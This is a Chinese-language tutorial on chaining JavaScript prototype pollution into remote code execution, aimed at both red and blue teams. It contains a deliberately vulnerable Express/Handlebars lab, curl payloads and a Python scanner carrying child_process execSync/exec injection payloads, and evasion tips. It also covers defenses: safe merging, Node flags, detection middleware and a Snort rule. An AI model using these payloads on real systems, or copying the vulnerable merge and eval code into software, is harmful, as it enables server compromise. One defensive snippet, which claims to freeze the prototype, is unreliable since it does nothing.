欢迎光临
我们一直在努力

客户端原型污染到RCE的攻击链

第一部分:开篇明义——定义、价值与目标

定位与价值

客户端原型污染是一种针对JavaScript应用程序的攻击技术,攻击者通过操纵对象的原型链,注入或修改属性,从而影响应用程序的逻辑行为。单纯的客户端原型污染虽然危险,但其影响范围通常局限于浏览器环境。然而,当与特定条件结合时,它能演变为一条完整的攻击链,最终实现远程代码执行——这是渗透测试中最具破坏性的目标之一。

本文将深入剖析从客户端原型污染到RCE的完整攻击链。这一链条的价值在于:它揭示了现代Web应用中,看似孤立的客户端漏洞如何通过精妙的利用,与服务器端特性、构建工具或开发流程相互作用,最终突破安全边界。掌握这一攻击链,不仅有助于红队人员识别和利用深层次漏洞,更能帮助蓝队和安全开发人员构建纵深防御体系,切断从客户端到服务器端的威胁传递。

学习目标

读完本文,你将能够:

  • 阐述客户端原型污染的根本原因、传播机制以及升级为RCE的关键枢纽点。
  • 独立完成从发现原型污染到利用其实现RCE的完整攻击流程,包括环境搭建、手动探测、利用脚本编写和最终漏洞验证。
  • 深度分析现代前端框架、构建工具和Node.js环境中,哪些特性可能成为原型污染到RCE的“跳板”,并评估其风险等级。
  • 设计并实施覆盖开发、构建、部署、运行全生命周期的针对性防御方案,有效切断此类攻击链。
  • 体系化连接此攻击链与Web安全、应用安全、供应链安全等其他知识领域,形成立体化的威胁认知模型。
  • 前置知识

    · JavaScript原型与原型链:理解Object.prototype、proto、constructor等概念是基础。 · Node.js基础:了解CommonJS模块系统、require()函数以及基本的服务器端JavaScript环境。 · Web安全基础:熟悉常见的Web漏洞(如XSS、CSRF)概念将有助于理解攻击的演进过程。


    第二部分:原理深掘——从“是什么”到“为什么”

    核心定义与类比

    客户端原型污染:指攻击者能够向JavaScript对象的原型(通常是Object.prototype)中注入任意属性。由于JavaScript的原型继承机制,这些被注入的属性会被应用程序中所有继承了该原型的对象“看到”和访问,从而可能改变程序的行为逻辑。

    一个贴切的比喻:想象一个家族族谱(原型链)。族长(Object.prototype)定下的家规(属性/方法),所有家族成员(对象)默认都会遵守。原型污染就如同有人篡改了族长的家规手册,在其中加入了一条“所有家族成员见到我都要鞠躬”。于是,此后每一个家族成员(包括已经存在的和未来新出生的)都会无意识地执行这条新规则。在程序中,这可能导致身份验证绕过、DOM XSS,或者在特定条件下,成为迈向RCE的第一步。

    根本原因分析

  • 漏洞根源:动态对象合并与属性赋值
  • 原型污染最常发生在对用户输入进行不安全的递归合并、基于路径的属性赋值或克隆操作时。根本原因是代码没有区分“对象自身的属性”和“从其原型继承的属性”。

    危险模式示例:

    function merge(target, source) {
    for (let key in source) {
    // 危险!for…in 会遍历原型链上的可枚举属性
    if (source.hasOwnProperty(key)) {
    // 即便检查了hasOwnProperty,但赋值逻辑仍可能出问题
    if (isObject(target[key]) && isObject(source[key])) {
    merge(target[key], source[key]);
    } else {
    target[key] = source[key]; // 如果key是__proto__,后果严重
    }
    }
    }
    return target;
    }

    如果source对象来自用户可控的输入(如JSON.parse),且包含特殊的键名__proto__、constructor或prototype,那么赋值操作target[key] = source[key]就可能修改target对象的原型。

  • 关键枢纽:从污染到RCE的桥梁
  • 单纯的污染浏览器端对象,通常只能影响当前页面或用户会话。要实现RCE,必须找到将污染能力“传递”或“转化”为代码执行的方法。常见的桥梁包括:

    · 污染配置对象:影响应用程序的构建配置(如Webpack、Babel)、运行时配置或依赖项,引导应用加载/执行恶意代码。 · 污染模板渲染引擎:影响服务端模板渲染(如Pug/Jade、Handlebars),通过原型污染向模板注入可执行指令。 · 污染Node.js进程环境:通过污染process.env或模块加载相关的全局对象,影响Node.js服务器的行为。 · 污染反序列化过程:结合不安全的反序列化,将污染后的对象传递给能够执行系统命令的函数。

  • 攻击链的核心:污染传播与执行
  • 攻击链的完整性依赖于几个关键环节的串联:

  • 污染点:找到接收用户输入并进行不安全合并的函数。
  • 传播链:被污染的原型属性如何被应用的其他部分读取和使用。这依赖于应用架构。
  • 执行点:传播的最终目的地必须是一个能够以某种形式执行代码的函数或模块(如eval、Function构造函数、child_process.exec、模板渲染的compile函数等)。
  • 下面的Mermaid图清晰地展示了这一攻击链的核心逻辑:

    #mermaid-svg-z8N0wuTxKFnXSYQK{font-family:\”trebuchet ms\”,verdana,arial,sans-serif;font-size:16px;fill:#333;}@keyframes edge-animation-frame{from{stroke-dashoffset:0;}}@keyframes dash{to{stroke-dashoffset:0;}}#mermaid-svg-z8N0wuTxKFnXSYQK .edge-animation-slow{stroke-dasharray:9,5!important;stroke-dashoffset:900;animation:dash 50s linear infinite;stroke-linecap:round;}#mermaid-svg-z8N0wuTxKFnXSYQK .edge-animation-fast{stroke-dasharray:9,5!important;stroke-dashoffset:900;animation:dash 20s linear infinite;stroke-linecap:round;}#mermaid-svg-z8N0wuTxKFnXSYQK .error-icon{fill:#552222;}#mermaid-svg-z8N0wuTxKFnXSYQK .error-text{fill:#552222;stroke:#552222;}#mermaid-svg-z8N0wuTxKFnXSYQK .edge-thickness-normal{stroke-width:1px;}#mermaid-svg-z8N0wuTxKFnXSYQK .edge-thickness-thick{stroke-width:3.5px;}#mermaid-svg-z8N0wuTxKFnXSYQK .edge-pattern-solid{stroke-dasharray:0;}#mermaid-svg-z8N0wuTxKFnXSYQK .edge-thickness-invisible{stroke-width:0;fill:none;}#mermaid-svg-z8N0wuTxKFnXSYQK .edge-pattern-dashed{stroke-dasharray:3;}#mermaid-svg-z8N0wuTxKFnXSYQK .edge-pattern-dotted{stroke-dasharray:2;}#mermaid-svg-z8N0wuTxKFnXSYQK .marker{fill:#333333;stroke:#333333;}#mermaid-svg-z8N0wuTxKFnXSYQK .marker.cross{stroke:#333333;}#mermaid-svg-z8N0wuTxKFnXSYQK svg{font-family:\”trebuchet ms\”,verdana,arial,sans-serif;font-size:16px;}#mermaid-svg-z8N0wuTxKFnXSYQK p{margin:0;}#mermaid-svg-z8N0wuTxKFnXSYQK .label{font-family:\”trebuchet ms\”,verdana,arial,sans-serif;color:#333;}#mermaid-svg-z8N0wuTxKFnXSYQK .cluster-label text{fill:#333;}#mermaid-svg-z8N0wuTxKFnXSYQK .cluster-label span{color:#333;}#mermaid-svg-z8N0wuTxKFnXSYQK .cluster-label span p{background-color:transparent;}#mermaid-svg-z8N0wuTxKFnXSYQK .label text,#mermaid-svg-z8N0wuTxKFnXSYQK span{fill:#333;color:#333;}#mermaid-svg-z8N0wuTxKFnXSYQK .node rect,#mermaid-svg-z8N0wuTxKFnXSYQK .node circle,#mermaid-svg-z8N0wuTxKFnXSYQK .node ellipse,#mermaid-svg-z8N0wuTxKFnXSYQK .node polygon,#mermaid-svg-z8N0wuTxKFnXSYQK .node path{fill:#ECECFF;stroke:#9370DB;stroke-width:1px;}#mermaid-svg-z8N0wuTxKFnXSYQK .rough-node .label text,#mermaid-svg-z8N0wuTxKFnXSYQK .node .label text,#mermaid-svg-z8N0wuTxKFnXSYQK .image-shape .label,#mermaid-svg-z8N0wuTxKFnXSYQK .icon-shape .label{text-anchor:middle;}#mermaid-svg-z8N0wuTxKFnXSYQK .node .katex path{fill:#000;stroke:#000;stroke-width:1px;}#mermaid-svg-z8N0wuTxKFnXSYQK .rough-node .label,#mermaid-svg-z8N0wuTxKFnXSYQK .node .label,#mermaid-svg-z8N0wuTxKFnXSYQK .image-shape .label,#mermaid-svg-z8N0wuTxKFnXSYQK .icon-shape .label{text-align:center;}#mermaid-svg-z8N0wuTxKFnXSYQK .node.clickable{cursor:pointer;}#mermaid-svg-z8N0wuTxKFnXSYQK .root .anchor path{fill:#333333!important;stroke-width:0;stroke:#333333;}#mermaid-svg-z8N0wuTxKFnXSYQK .arrowheadPath{fill:#333333;}#mermaid-svg-z8N0wuTxKFnXSYQK .edgePath .path{stroke:#333333;stroke-width:2.0px;}#mermaid-svg-z8N0wuTxKFnXSYQK .flowchart-link{stroke:#333333;fill:none;}#mermaid-svg-z8N0wuTxKFnXSYQK .edgeLabel{background-color:rgba(232,232,232, 0.8);text-align:center;}#mermaid-svg-z8N0wuTxKFnXSYQK .edgeLabel p{background-color:rgba(232,232,232, 0.8);}#mermaid-svg-z8N0wuTxKFnXSYQK .edgeLabel rect{opacity:0.5;background-color:rgba(232,232,232, 0.8);fill:rgba(232,232,232, 0.8);}#mermaid-svg-z8N0wuTxKFnXSYQK .labelBkg{background-color:rgba(232, 232, 232, 0.5);}#mermaid-svg-z8N0wuTxKFnXSYQK .cluster rect{fill:#ffffde;stroke:#aaaa33;stroke-width:1px;}#mermaid-svg-z8N0wuTxKFnXSYQK .cluster text{fill:#333;}#mermaid-svg-z8N0wuTxKFnXSYQK .cluster span{color:#333;}#mermaid-svg-z8N0wuTxKFnXSYQK div.mermaidTooltip{position:absolute;text-align:center;max-width:200px;padding:2px;font-family:\”trebuchet ms\”,verdana,arial,sans-serif;font-size:12px;background:hsl(80, 100%, 96.2745098039%);border:1px solid #aaaa33;border-radius:2px;pointer-events:none;z-index:100;}#mermaid-svg-z8N0wuTxKFnXSYQK .flowchartTitleText{text-anchor:middle;font-size:18px;fill:#333;}#mermaid-svg-z8N0wuTxKFnXSYQK rect.text{fill:none;stroke-width:0;}#mermaid-svg-z8N0wuTxKFnXSYQK .icon-shape,#mermaid-svg-z8N0wuTxKFnXSYQK .image-shape{background-color:rgba(232,232,232, 0.8);text-align:center;}#mermaid-svg-z8N0wuTxKFnXSYQK .icon-shape p,#mermaid-svg-z8N0wuTxKFnXSYQK .image-shape p{background-color:rgba(232,232,232, 0.8);padding:2px;}#mermaid-svg-z8N0wuTxKFnXSYQK .icon-shape rect,#mermaid-svg-z8N0wuTxKFnXSYQK .image-shape rect{opacity:0.5;background-color:rgba(232,232,232, 0.8);fill:rgba(232,232,232, 0.8);}#mermaid-svg-z8N0wuTxKFnXSYQK .label-icon{display:inline-block;height:1em;overflow:visible;vertical-align:-0.125em;}#mermaid-svg-z8N0wuTxKFnXSYQK .node .label-icon path{fill:currentColor;stroke:revert;stroke-width:revert;}#mermaid-svg-z8N0wuTxKFnXSYQK :root{–mermaid-font-family:\”trebuchet ms\”,verdana,arial,sans-serif;}

    注入 proto.polluted 等

    路径1: 污染构建配置

    路径2: 污染模板引擎

    路径3: 污染Node.js全局对象

    路径4: 污染CLI工具参数

    攻击者输入

    不安全的对象操作(合并/克隆/赋值)

    Object.prototype 被污染

    应用程序所有对象继承污染属性

    寻找利用路径

    前端: Webpack/Babel等

    服务端: Pug/Handlebars等

    服务端: process.env/global等

    开发环境: npm script/脚手架

    引导构建过程插入/执行恶意代码

    模板渲染时执行任意JS

    Node进程执行系统命令

    执行恶意构建/部署脚本

    实现RCE(或供应链攻击)


    第三部分:实战演练——从“为什么”到“怎么做”

    环境与工具准备

    演示环境

    · 操作系统:Ubuntu 22.04 LTS (或任何支持Node.js的Linux/macOS) · Node.js版本:v18.x LTS (确保版本较新,以包含相关安全特性) · 目标应用:我们构建一个模拟的脆弱应用,它包含:

  • 一个存在原型污染漏洞的Express API端点(用于接收用户配置)。
  • 一个使用Handlebars模板引擎的服务端渲染页面。
  • 一个简单的构建脚本,读取配置对象。
  • 核心工具

  • Node.js环境:主运行环境。
  • Express.js:v4.18+,用于创建Web服务器。
  • Handlebars:v4.7+,作为存在RCE隐患的模板引擎示例。
  • nodemon:开发热重载(可选,方便调试)。
  • curl / Postman:用于发送HTTP请求。
  • Chrome DevTools:用于分析客户端原型污染的初步影响。
  • 最小化实验环境搭建

  • 项目初始化与依赖安装
  • mkdir prototype-pollution-to-rce-lab && cd prototype-pollution-to-rce-lab
    npm init -y
    npm install express@4.18 handlebars@4.7
    npm install –save-dev nodemon

  • 创建脆弱的服务器代码 (server.js)
  • const express = require('express');
    const handlebars = require('handlebars');
    const fs = require('fs').promises;
    const path = require('path');

    const app = express();
    app.use(express.json()); // 用于解析JSON body

    // ========== 漏洞函数:不安全的递归合并 ==========
    function vulnerableMerge(target, source) {
    for (const key in source) {
    // 错误!只检查source.hasOwnProperty,但key可能是'__proto__'。
    // 当key为'__proto__'时,target[key]实际是在修改target的原型。
    if (source.hasOwnProperty(key)) {
    if (typeof target[key] === 'object' && typeof source[key] === 'object') {
    vulnerableMerge(target[key], source[key]);
    } else {
    // 污染发生点:如果source是 {"__proto__": {"polluted": "yes"}}
    // 那么 target[key] = source[key] 将变成 target.__proto__ = {"polluted": "yes"}
    // 即 Object.prototype.polluted = "yes"
    target[key] = source[key];
    }
    }
    }
    return target;
    }

    // ========== 污染配置API端点 ==========
    let appConfig = { theme: 'light', features: { analytics: false } };

    app.post('/api/config', (req, res) => {
    // 模拟从客户端接收配置更新
    const userConfig = req.body;
    console.log('Received user config:', JSON.stringify(userConfig));

    // 危险操作:将用户输入合并到应用配置中
    appConfig = vulnerableMerge(appConfig, userConfig);

    console.log('Updated appConfig:', JSON.stringify(appConfig));
    // 检查是否污染成功
    console.log('Is Object.prototype polluted?', ({}).polluted);

    res.json({ message: 'Config updated', config: appConfig });
    });

    // ========== 利用被污染的配置渲染模板 ==========
    app.get('/render', async (req, res) => {
    // 从查询参数获取模板名,默认为'welcome'
    const templateName = req.query.template || 'welcome';

    try {
    // 读取模板文件
    const templatePath = path.join(__dirname, 'templates', `${templateName}.hbs`);
    const templateContent = await fs.readFile(templatePath, 'utf-8');

    // 创建Handlebars模板
    const template = handlebars.compile(templateContent);

    // 准备渲染数据:将appConfig和查询参数合并
    const data = { appConfig, req.query };

    // 渲染输出
    const rendered = template(data);
    res.send(rendered);
    } catch (err) {
    res.status(500).send(`Error rendering template: ${err.message}`);
    }
    });

    // ========== 模拟受污染配置影响的构建脚本端点 ==========
    app.post('/build', (req, res) => {
    // 假设这是一个内部构建触发器,使用appConfig
    // 模拟一个危险的eval使用场景(真实构建工具如Webpack配置可能通过其他方式执行代码)
    const buildScript = `
    console.log('Building with theme:', '
    ${appConfig.theme}');
    // 模拟一个从配置中读取并动态执行的操作(极度危险模式)
    const userProvidedCode = \\`
    ${appConfig.features.customScript || 'console.log("No custom script")'}\\`;
    try {
    eval(userProvidedCode);
    } catch(e) { console.error(e); }
    `
    ;
    console.log('Executing build script:', buildScript);
    // 在真实场景中,这里可能会产生RCE
    res.json({ message: 'Build triggered (simulated)', script: buildScript });
    });

    app.listen(3000, () => {
    console.log('Vulnerable server listening on http://localhost:3000');
    console.log('\\n=== 测试端点 ===');
    console.log('1. POST /api/config – 原型污染入口');
    console.log('2. GET /render?template=welcome – 检查污染影响的模板渲染');
    console.log('3. POST /build – 模拟构建过程RCE');
    });

  • 创建Handlebars模板 (templates/welcome.hbs)
  • <!DOCTYPE html>
    <html>
    <head>
    <title>{{title}} {{theme}}</title>
    </head>
    <body>
    <h1>Welcome, {{user}}!</h1>
    <p>当前主题: {{theme}}</p>
    <p>分析功能启用: {{features.analytics}}</p>

    {{! 一个潜在的危险点:如果原型污染导致toString被恶意覆盖… }}
    <div id="info">
    {{toJSON this}}
    </div>

    {{! 另一个危险点:如果模板能执行任意表达式 }}
    <p>渲染时间: {{currentTime}}</p>
    </body>
    </html>

  • 启动服务器
  • npx nodemon server.js
    # 或直接使用 node server.js

    标准操作流程

    阶段一:发现并确认原型污染

  • 发送污染Payload 使用curl或Postman向/api/config发送恶意JSON:
  • curl -X POST http://localhost:3000/api/config \\
    -H "Content-Type: application/json" \\
    -d '{
    "__proto__": {
    "polluted": "yes",
    "toString": "malicious"
    },
    "theme": "dark"
    }'

    观察服务器日志,你应该看到:

    Received user config: {"__proto__":{"polluted":"yes","toString":"malicious"},"theme":"dark"}
    Updated appConfig: {"theme":"dark","features":{"analytics":false}}
    Is Object.prototype polluted? yes

    注意:appConfig本身看起来正常,但最后一行检查({}).polluted返回了"yes",证明Object.prototype已被成功污染。

  • 验证污染传播 访问/render端点,观察污染如何影响模板渲染:
  • curl "http://localhost:3000/render?user=Attacker"

    查看返回的HTML。虽然没有直接执行代码,但你已经可以观察到toString属性可能被影响。更重要的是,你已证明污染可以持久存在于服务器内存中,影响所有后续请求。

    阶段二:从污染升级到RCE(利用Handlebars)

    Handlebars的一些特性,在特定版本或配置下,可能允许通过原型污染执行代码。这里我们模拟一个已知的利用模式(真实利用可能因版本而异,此处为原理演示)。

  • 研究利用点 在旧版本或特定配置的Handlebars中,如果模板能够访问到被污染的constructor属性,可能最终调用到Function构造函数。我们需要找到污染链:
  • · 污染Object.prototype.constructor指向一个恶意构造的函数。 · 让模板引擎在解析某些表达式时,访问到这个被污染的constructor属性。

  • 构造并发送RCE Payload 以下是一个概念验证的payload,旨在展示攻击思路:
  • curl -X POST http://localhost:3000/api/config \\
    -H "Content-Type: application/json" \\
    -d '{
    "__proto__": {
    "polluted": "yes",
    "toString": "malicious",
    "constructor": {
    "prototype": {
    "evil": "require(\\"child_process\\").execSync(\\"id > /tmp/pwned\\")"
    }
    }
    }
    }'

  • 触发模板渲染以执行代码 访问一个可能触发属性访问的模板。我们需要创建一个新的模板文件来演示:
  • 创建 templates/exploit.hbs:

    {{#with this}}
    {{#if evil}}
    {{evil}}
    {{/if}}
    {{/with}}

    然后访问:

    curl "http://localhost:3000/render?template=exploit"

    重要说明:上述Handlebars的具体利用方式已被修复,且需要特定条件。这里的关键是展示 “原型污染” -> “污染关键对象(如constructor)” -> “模板引擎执行被污染的属性值” 的攻击逻辑链条。在实际测试中,需要针对目标模板引擎的版本和配置研究具体的利用链。

    阶段三:通过污染构建配置实现RCE(更现实的路径)

    现代前端工作流中,构建配置(如Webpack配置)是一个更常见的RCE跳板。

  • 污染构建相关配置 假设应用有一个内部端点/build,它会根据appConfig动态生成并“模拟执行”构建脚本(我们在server.js中已模拟此场景)。
  • curl -X POST http://localhost:3000/api/config \\
    -H "Content-Type: application/json" \\
    -d '{
    "__proto__": {
    "polluted": "yes"
    },
    "features": {
    "customScript": "console.log(\\"RCE!\\"); require(\\"child_process\\").execSync(\\"touch /tmp/webpack_rce\\")"
    }
    }'

  • 触发构建过程
  • curl -X POST http://localhost:3000/build

    查看服务器日志,你会看到构建脚本中被注入了我们的恶意代码字符串。在真实场景中,如果这个配置被传递到eval、new Function()或作为Node.js子进程的命令参数,就会导致RCE。

    自动化与脚本

    下面是一个集成了检测和简单利用的Python脚本示例,用于自动化测试原型污染到RCE的潜在风险。

    #!/usr/bin/env python3
    """
    # 警告:此脚本仅用于授权的安全测试环境。
    # 目的:自动化检测原型污染漏洞并尝试升级到RCE的利用链。
    """

    import requests
    import json
    import sys
    import time

    class PrototypePollutionScanner:
    def __init__(self, target_url):
    self.target = target_url.rstrip('/')
    self.session = requests.Session()
    self.session.headers.update({'Content-Type': 'application/json'})
    self.pollution_markers = ['polluted_by_scanner', 'ppscan_flag']

    def test_merge_endpoint(self, endpoint="/api/config"):
    """测试不安全的对象合并端点"""
    url = f"{self.target}{endpoint}"

    # Payload 1: 污染 __proto__
    payload_1 = {
    "__proto__": {
    self.pollution_markers[0]: "yes"
    },
    "normal_key": "normal_value"
    }

    # Payload 2: 污染 constructor.prototype (另一种路径)
    payload_2 = {
    "constructor": {
    "prototype": {
    self.pollution_markers[1]: "yes2"
    }
    }
    }

    print(f"[*] 测试端点: {url}")

    for i, payload in enumerate([payload_1, payload_2], 1):
    print(f" [>] 发送Payload {i}…")
    try:
    resp = self.session.post(url, json=payload, timeout=10)
    if resp.status_code in [200, 201]:
    print(f" [+] 服务器接受Payload {i}")
    else:
    print(f" [-] 服务器拒绝: {resp.status_code}")
    except Exception as e:
    print(f" [!] 请求失败: {e}")
    return False
    return True

    def verify_pollution(self, verification_endpoints):
    """验证污染是否成功,并尝试在多个端点检测"""
    verification_results = {}

    for endpoint in verification_endpoints:
    url = f"{self.target}{endpoint}"
    print(f"[*] 验证污染于: {endpoint}")
    try:
    resp = self.session.get(url, timeout=10)
    # 简单检查响应中是否包含污染标记(实际中可能需要更复杂的检测,如DOM分析)
    for marker in self.pollution_markers:
    if marker in resp.text:
    print(f" [+] 潜在污染成功! 在响应中发现标记 '{marker}'")
    verification_results[endpoint] = True
    break
    else:
    print(f" [-] 未发现明显污染标记")
    verification_results[endpoint] = False

    except Exception as e:
    print(f" [!] 验证请求失败: {e}")
    verification_results[endpoint] = None

    return verification_results

    def attempt_rce_through_template(self, template_endpoint="/render", param="template"):
    """尝试利用模板引擎进行RCE(基于已知Payload字典)"""
    # 已知的Handlebars/SSTI Payloads (需根据目标调整)
    rce_payloads = [
    # 这是一个概念性Payload,实际利用需要精确调整
    {"template": "welcome", "user": "{{#with \\"e\\" as |exp|}}{{#with split as |code|}}{{#with \\"console.log(process.mainModule.require('child_process').execSync('id').toString())\\"}}{{#with substring as |cmd|}}{{#with (jsonify cmd)}}{{#with eval}}{{/with}}{{/with}}{{/with}}{{/with}}{{/with}}{{/with}}"},
    # 更简单的测试:尝试污染输出
    {"__proto__": {"outputFunctionName": "_tmp1;global.process.mainModule.require('child_process').exec('touch /tmp/hacked');var __tmp2"}}
    ]

    print(f"[*] 尝试通过模板引擎进行RCE探测…")

    for payload in rce_payloads:
    print(f" [>] 测试Payload: {payload.get('template', 'N/A')}")
    try:
    # 首先,尝试通过POST污染配置(如果端点存在)
    pollute_url = f"{self.target}/api/config"
    pollute_resp = self.session.post(pollute_url, json=payload, timeout=10)
    print(f" [+] 污染请求发送,状态码: {pollute_resp.status_code}")

    # 等待污染生效
    time.sleep(1)

    # 然后触发模板渲染
    render_url = f"{self.target}{template_endpoint}"
    render_resp = self.session.get(render_url, params={param: payload.get('template', 'welcome')}, timeout=10)

    # 检查响应中的异常
    if render_resp.status_code == 500:
    print(f" [!] 服务器返回500错误,可能触发了异常(需进一步分析)")
    return True
    if "child_process" in render_resp.text or "execSync" in render_resp.text:
    print(f" [!] 响应中包含可疑关键字!")
    return True

    except Exception as e:
    print(f" [!] 测试失败: {e}")
    continue

    print(f" [-] 所有RCE Payload测试未获明显成功")
    return False

    def full_attack_chain_test(self):
    """执行完整的攻击链测试"""
    print("="*60)
    print("开始原型污染到RCE攻击链测试")
    print(f"目标: {self.target}")
    print("="*60)

    # 第1步:测试污染入口
    if not self.test_merge_endpoint():
    print("[-] 初始污染测试失败,攻击链可能不成立")
    return False
    print("[+] 初始污染测试完成\\n")

    # 第2步:验证污染传播
    verification_endpoints = ['/render', '/render?template=welcome&user=test']
    results = self.verify_pollution(verification_endpoints)
    if any(results.values()):
    print("[+] 原型污染验证成功! 漏洞存在。\\n")
    else:
    print("[-] 未直接验证到污染,但攻击链可能仍存在(需手动确认)\\n")

    # 第3步:尝试RCE升级
    rce_success = self.attempt_rce_through_template()
    if rce_success:
    print("\\n[!!!] 潜在的RCE利用链可能存在!需要进一步手工验证。")
    else:
    print("\\n[-] 未发现明显的RCE利用链。")

    print("\\n" + "="*60)
    print("测试完成。注意:此自动化脚本仅为初步探测,需结合手动分析。")
    print("="*60)

    return rce_success

    if __name__ == "__main__":
    # 安全警告
    print("#"*70)
    print("# 警告: 此脚本仅供授权的安全测试使用。")
    print("# 在未获得明确书面授权的情况下,对任何系统进行测试都是非法的。")
    print("#"*70)

    if len(sys.argv) != 2:
    print(f"用法: {sys.argv[0]} <目标URL>")
    print(f"示例: {sys.argv[0]} http://localhost:3000")
    sys.exit(1)

    target = sys.argv[1]
    scanner = PrototypePollutionScanner(target)
    scanner.full_attack_chain_test()

    对抗性思考:在现代防御下的潜在对抗思路

    随着开发人员安全意识的提升和框架的加固,简单的原型污染直接导致RCE的案例在减少。攻击者需要更精巧的利用链:

  • 组合漏洞利用: · 原型污染 + XSS:污染Object.prototype,注入恶意属性,当该属性被前端JavaScript代码使用时触发XSS,再通过XSS与服务器交互(如窃取管理员Cookie后接管后台,再上传webshell)。 · 原型污染 + CSRF:污染配置后,诱导管理员触发某个操作(如“重建站点”),该操作会执行被污染的配置,实现RCE。
  • 污染深度属性链:防御措施可能只检查第一层的__proto__,但攻击者可以尝试污染深层路径,如:{
    "deep": {
    "nested": {
    "__proto__": {
    "polluted": "yes"
    }
    }
    }
    }
  • 利用非标准的原型访问器:除了__proto__,还可以尝试constructor.prototype、Object.getPrototypeOf等路径。
  • 瞄准开发/构建阶段:污染项目的package.json脚本、Webpack插件配置、CI/CD管道变量等,这些常在开发环境执行,权限可能更高。
  • 供应链攻击:污染被广泛使用的开源库的原型,当该库被其他应用引入时,污染随之传播,形成供应链攻击。

  • 第四部分:防御建设——从“怎么做”到“怎么防”

    开发侧修复

  • 安全的对象合并函数
  • 危险模式(前文已展示)vs 安全模式:

    // 安全模式1:使用不遍历原型链的迭代方式
    function safeMerge(target, source) {
    // 只迭代source自身的可枚举属性键
    Object.keys(source).forEach(key => {
    // 防御性检查:拒绝原型污染关键字
    if (key === '__proto__' || key === 'constructor' || key === 'prototype') {
    return; // 直接跳过
    }

    const sourceVal = source[key];
    const targetVal = target[key];

    // 递归合并对象
    if (isPlainObject(sourceVal) && isPlainObject(targetVal)) {
    safeMerge(targetVal, sourceVal);
    } else {
    target[key] = sourceVal;
    }
    });
    return target;
    }

    // 辅助函数:检查是否为纯对象(非null,且原型是Object.prototype)
    function isPlainObject(obj) {
    return obj !== null && typeof obj === 'object' && Object.getPrototypeOf(obj) === Object.prototype;
    }

    // 安全模式2:使用现代API并冻结原型
    function saferMerge(target, source) {
    // 冻结目标对象的原型,防止被修改(极端情况可用)
    Object.setPrototypeOf(Object.prototype, Object.getPrototypeOf(Object.prototype));

    // 使用Object.assign,但注意:它只复制可枚举的自身属性,不会遍历原型链
    // 不过,如果source本身有__proto__属性(不是来自原型链),它还是会被复制!
    const result = Object.assign({}, target);

    for (const key of Object.keys(source)) {
    // 关键:显式检查并拒绝危险键名
    if (['__proto__', 'constructor', 'prototype'].includes(key)) {
    continue;
    }
    const sourceVal = source[key];
    const resultVal = result[key];

    if (isPlainObject(sourceVal) && isPlainObject(resultVal)) {
    result[key] = saferMerge(resultVal, sourceVal);
    } else {
    result[key] = sourceVal;
    }
    }
    return result;
    }

  • 使用不可变数据结构和原型保护
  • // 使用Object.create(null)创建无原型的对象作为配置存储
    const safeConfig = Object.create(null);
    safeConfig.theme = 'light';
    // 现在,即使有人想污染safeConfig的原型,它也没有原型链可污染!

    // 或者,使用Map代替普通对象存储关键配置
    const configMap = new Map();
    configMap.set('theme', 'light');
    // Map的键可以是任意值,但不会与原型链交互

    // 冻结关键对象原型(激进但有效)
    Object.freeze(Object.prototype);
    // 注意:这可能会破坏一些依赖扩展Object.prototype的库

  • 输入验证与净化
  • function sanitizeObject(input) {
    if (!input || typeof input !== 'object') {
    return {};
    }

    const sanitized = {};
    // 使用getOwnPropertyNames获取所有自身属性(包括不可枚举的)
    Object.getOwnPropertyNames(input).forEach(key => {
    // 黑名单+白名单组合
    const dangerousKeys = /^(__proto__|constructor|prototype)$/i;
    if (dangerousKeys.test(key)) {
    return; // 丢弃危险键
    }

    // 深度净化
    const value = input[key];
    if (isPlainObject(value)) {
    sanitized[key] = sanitizeObject(value);
    } else if (Array.isArray(value)) {
    sanitized[key] = value.map(item =>
    isPlainObject(item) ? sanitizeObject(item) : item
    );
    } else {
    sanitized[key] = value;
    }
    });

    return sanitized;
    }

    运维侧加固

  • 安全的Node.js运行时配置
  • 在启动Node.js应用时,使用以下标志可以提高安全性:

    # 阻止修改Object.prototype
    node –frozen-intrinsics your-app.js

    # 禁用某些危险的全局函数(如eval)
    node –disallow-code-generation-from-strings your-app.js

    # 在沙盒中运行不受信任的代码(使用Node.js的vm模块的隔离上下文)

  • 最小权限原则
  • · 应用运行用户:使用非root、低权限用户运行Node.js进程。 · 文件系统权限:限制应用对文件系统的写权限,尤其是/tmp、/proc等敏感目录。 · 网络访问:使用防火墙规则限制应用服务器不必要的出站连接。

  • 安全的依赖管理与构建
  • package.json配置示例:

    {
    "scripts": {
    // 使用npm audit检查已知漏洞
    "security-check": "npm audit –audit-level=high",
    // 使用snyk或其它SCA工具
    "snyk-test": "snyk test",
    "snyk-monitor": "snyk monitor"
    },
    // 使用依赖版本锁定文件
    "dependencies": {
    "handlebars": "^4.7.7" // 使用固定主版本,定期更新
    }
    }

    构建环境隔离:

    · 在Docker容器中运行构建过程,限制其权限和网络访问。 · 使用只包含构建必要依赖的轻量级基础镜像。

    检测与响应线索

  • 日志监控模式
  • 在应用日志中搜索以下异常模式:

    // 在Express应用中添加原型污染检测中间件
    app.use((req, res, next) => {
    // 检测请求体中的原型污染关键词
    const protoPattern = /["']?(__proto__|constructor|prototype)["']?\\s*:/i;

    if (req.body && typeof req.body === 'object') {
    const bodyStr = JSON.stringify(req.body);
    if (protoPattern.test(bodyStr)) {
    console.warn(`[SECURITY ALERT] 疑似原型污染攻击 from IP: ${req.ip}`, {
    timestamp: new Date().toISOString(),
    path: req.path,
    userAgent: req.get('User-Agent'),
    // 注意:不要记录完整的请求体(可能包含敏感信息),只记录元数据
    });
    // 可选:触发警报或阻断请求
    // return res.status(403).send('Invalid request');
    }
    }
    next();
    });

  • WAF/IDS规则示例(Snort风格)
  • alert tcp any any -> $HTTP_SERVERS $HTTP_PORTS (
    msg:"Potential Prototype Pollution Attack";
    flow:to_server,established;
    content:"POST"; http_method;
    content:"/api/config"; http_uri;
    pcre:"/(\\"__proto__\\"|\\"constructor\\"|\\"prototype\\")\\s*:/i";
    sid:1000001;
    rev:1;
    )

  • 运行时检测
  • 在应用中定期检查Object.prototype是否被异常修改:

    // 定期检查函数
    const originalProto = Object.getOwnPropertyNames(Object.prototype).sort().join(',');

    setInterval(() => {
    const currentProto = Object.getOwnPropertyNames(Object.prototype).sort().join(',');
    if (currentProto !== originalProto) {
    console.error(`[CRITICAL] Object.prototype modified! Original: ${originalProto}, Current: ${currentProto}`);
    // 触发紧急响应:重启进程、发送警报等
    process.exit(1); // 激进但有效的响应
    }
    }, 30000); // 每30秒检查一次


    第五部分:总结与脉络——连接与展望

    核心要点复盘

